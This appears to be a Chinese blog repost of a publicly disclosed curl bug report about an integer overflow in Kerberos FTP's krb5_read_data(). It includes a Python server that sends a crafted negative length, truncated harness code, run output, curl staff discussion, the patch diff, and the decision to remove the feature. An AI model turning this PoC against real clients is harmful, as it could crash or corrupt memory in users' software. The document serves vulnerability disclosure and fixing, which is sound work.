cURL Kerberos FTP整数溢出漏洞分析与修复

本文详细分析了cURL库中krb5_read_data函数存在的整数溢出漏洞,该漏洞可能导致大规模recv()写入和内存分配问题,同时探讨了修复方案和最终决定移除Kerberos FTP支持的原因。

整数溢出在krb5_read_data()中导致(可能的)大规模recv()写入

报告摘要

krb5_read_data()函数中存在两个问题(其中一个令人惊讶地未被发现):

问题 #1:以下代码块可能导致整数溢出,当值被包装为负数时,后续检查失效:

1
2
3
len = (int)ntohl((uint32_t)len);
if(len > CURL_MAX_INPUT_LENGTH)
  return CURLE_TOO_LARGE;

这会完全破坏此处的逻辑:

1
2
3
char buffer[1024];
nread = CURLMIN(len, (int)sizeof(buffer));
result = socket_read(data, sockindex, buffer, (size_t)nread);

由于-1(假设)小于1024,nread将作为(size_t)-1传递,这将包装为一个巨大的数字。

这最终会传递到Curl_conn_recv,其中data[1024]nread == ~SIZE_MAX)。这似乎会导致OOB读取,因为缓冲区只有1024字节长,而nread将是巨大的。

问题 #2:整个代码似乎已损坏。这个do-while循环在len非零时继续。但随后len=0被传递给decode()。随机猜测,我认为应该传递curlx_dyn_len(&buf->buf)而不是len。

受影响版本

自引入以来所有版本似乎都受影响。

复现步骤

设置完整的krb环境非常困难和烦人。这个PoC更容易,演示了问题,同时模拟了相同的代码:

repro_server.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
import socket, struct, argparse, sys, time

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, default=9999)
    ap.add_argument("--netlen", type=lambda x:int(x,0), default=0x00000010,
                    help="4-byte big-endian length to send (e.g. 0x10 or 16)")
    ap.add_argument("--payload-byte", default="41", help="hex byte to repeat (default '41' = 'A')")
    args = ap.parse_args()

    payload = bytes([int(args.payload_byte, 16)]) * (args.netlen & 0xffffffff)
    netlen = struct.pack("!I", args.netlen & 0xffffffff)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", args.port))
    s.listen(1)
    print(f"listening on :{args.port} …")
    while True:
        conn, addr = s.accept()
        print("client:", addr, " sending frame len=", hex(args.netlen))
        try:
            conn.sendall(netlen)
            if args.netlen:
                conn.sendall(payload)
            time.sleep(0.2)
        finally:
            conn.close()

if __name__ == "__main__":
    main()

krb5_len_bug_harness.c:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
// gcc -O2 -Wall -o krb5_len_bug_harness krb5_len_bug_harness.c
// ./krb5_len_bug_harness 127.0.0.1 9999
#define _POSIX_C_SOURCE 200112L
#include <arpa/inet.h>
#include <errno.h>
#include <inttypes.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

// ... 完整代码见原文

运行它们:

1
2
python3 repro_server.py --port 9999 --netlen 0x80000010 & 
./krb5_len_bug_harness 127.0.0.1 9999

我们得到:

1
2
3
4
$ ./krb5_len_bug_harness 127.0.0.1 9999
client: ('127.0.0.1', 43974)  sending frame len= 0x80000010
NOTE: len is NEGATIVE here after ntohl cast. This bypasses >MAX check above.
realloc: Cannot allocate memory

演示了此代码已损坏。

额外信息

问题现在在于是否可利用。我可以给出一个可靠的:“我不知道”。

这是另一个可以测试的PoC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>

// ... 完整代码见原文

构建并运行./a.out poc时,不会引起任何问题:

1
2
$ ./a overflow
krb5_read_data_vuln returned code: 2

发生了什么?“问题"是这个调用:

1
2
int fd = data->conn->fd[sockindex];
ssize_t r = recv(fd, buf, blen, 0); // 将'blen'直接传递给内核

blen现在实际上是18446744071562072064,以下调用实际上是:

1
recv(fd, buf, 18446744071562072064, 0);

这失败了,因为这甚至超出了我们的整个堆栈,并且recv()在我的系统上足够智能,不允许这样做;它失败并显示:

1
strerror(errno): Bad address

这确实意味着"系统在尝试使用调用指针参数时检测到无效指针地址”。

我没有进一步调查是否可能写入满足内核限制的内存量,并且我对其他系统及其工作原理了解不够。

影响

摘要:由于整数溢出导致的OOM写入,或者可能完全没有影响(由于recv()的内核限制)。

整个函数看起来也损坏了(len相关的东西)。

开发者回应

dgustafsson (curl staff):感谢您的报告,我们将在有机会调查后尽快回复。

bagder (curl staff):类型转换确实是个问题,可能导致基于堆栈的缓冲区溢出。似乎很难在不简单崩溃的情况下利用此漏洞。攻击者如何将数据量限制为仅用适当数量覆盖缓冲区?

此外,正如您所说,decode调用已损坏,然后使此函数失败,这意味着没有人可以成功使用它!看起来我在8.8.0版本(2024年5月22日发布)中引入了该错误,这可能证明自那时以来没有人(成功)使用过此代码…

在8.8.0之前的krb5.c代码看起来不容易受到攻击,因为它在realloc时失败:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
if(len) {
  /* only realloc if there was a length */
  len = ntohl(len);
  if(len > CURL_MAX_INPUT_LENGTH)
    len = 0;
  else
    buf->data = Curl_saferealloc(buf->data, len);
}
if(!len || !buf->data)
  return CURLE_OUT_OF_MEMORY;

修复方案

bagder (curl staff) 提供了修复方案:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
diff --git a/lib/krb5.c b/lib/krb5.c
index b041d2f227..33655ec1c9 100644
--- a/lib/krb5.c
+++ b/lib/krb5.c
@@ -525,46 +525,47 @@ socket_write(struct Curl_easy *data, int sockindex, const void *to,
 
 static CURLcode krb5_read_data(struct Curl_easy *data, int sockindex,
                                struct krb5buffer *buf)
 {
   struct connectdata *conn = data->conn;
-  int len;
+  uint32_t len;
   CURLcode result;
-  int nread;
+  size_t nread;
+  int rc;
 
   result = socket_read(data, sockindex, &len, sizeof(len));
   if(result)
     return result;
 
   if(len) {
-    len = (int)ntohl((uint32_t)len);
+    len = ntohl(len);
     if(len > CURL_MAX_INPUT_LENGTH)
       return CURLE_TOO_LARGE;
 
     curlx_dyn_reset(&buf->buf);
   }
   else
     return CURLE_RECV_ERROR;
 
   do {
     char buffer[1024];
-    nread = CURLMIN(len, (int)sizeof(buffer));
-    result = socket_read(data, sockindex, buffer, (size_t)nread);
+    nread = CURLMIN(len, sizeof(buffer));
+    result = socket_read(data, sockindex, buffer, nread);
     if(result)
       return result;
     result = curlx_dyn_addn(&buf->buf, buffer, nread);
     if(result)
       return result;
-    len -= nread;
+    len -= (uint32_t)nread;
   } while(len);
   /* this decodes the dynbuf *in place* */
-  nread = conn->mech->decode(conn->app_data,
-                             curlx_dyn_ptr(&buf->buf),
-                             len, conn->data_prot, conn);
-  if(nread < 0)
+  rc = conn->mech->decode(conn->app_data, curlx_dyn_ptr(&buf->buf),
+                          (int)curlx_dyn_len(&buf->buf), conn->data_prot,
+                          conn);
+  if(rc < 0)
     return CURLE_RECV_ERROR;
-  curlx_dyn_setlen(&buf->buf, nread);
+  curlx_dyn_setlen(&buf->buf, rc);
   buf->index = 0;
   return CURLE_OK;
 }
 
 static size_t

最终决定

bagder (curl staff):经过一夜思考这个问题,我想这样进行:

即使此报告标识了缓冲区溢出,我们也不认为它是漏洞,因为奇怪的巧合是,代码从引入问题的同一提交开始完全损坏,因此无法工作,用户因此不会因溢出而被利用或遇到问题。

与其尝试如上修复此代码,我想使用这个意外证明此代码在现代curl中未使用,而是完全放弃对Kerberos FTP的支持。我正在为此进行本地提交。

jimfuller2024 (curl staff):稍微尝试了一下 - 代码路径已损坏,同意Daniel的提议前进方式。

报告状态

bagder (curl staff) 关闭了报告并将状态更改为Informative

不被认为是安全问题。主要是运气好。

报告于2025年9月18日公开披露。

严重性:低(0.1 ~ 3.9) 弱点:整数溢出 CVE ID:无 赏金:无

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计